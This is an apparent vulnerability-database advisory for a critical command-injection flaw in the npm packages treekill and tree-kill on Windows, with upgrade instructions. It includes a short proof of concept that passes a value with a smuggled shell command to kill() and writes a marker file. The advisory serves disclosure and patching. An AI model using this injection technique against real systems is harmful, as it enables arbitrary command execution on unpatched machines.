VDB
Sign up
CRITICAL9.8

GHSA-j7fq-p9q7-5wfv

Treekill Enables OS Command Injection

Quick fix

GHSA-j7fq-p9q7-5wfv — tree-kill: upgrade to the fixed version with the command below.

npm install tree-kill@1.2.2

Details

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

### Steps To Reproduce: Create the following PoC file:

```js var kill = require('treekill'); kill('3333332 & echo "HACKED" > HACKED.txt & '); ```

Execute the following commands in terminal:

```shell npm i treekill # Install affected module dir # Check *HACKED.txt* doesn't exist node poc.js # Run the PoC dir # Now *HACKED.txt* exists :) ```

The HACKED.txt has been created

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/tree-kill
Introduced in: 0Fixed in: 1.2.2
Fixnpm install tree-kill@1.2.2

References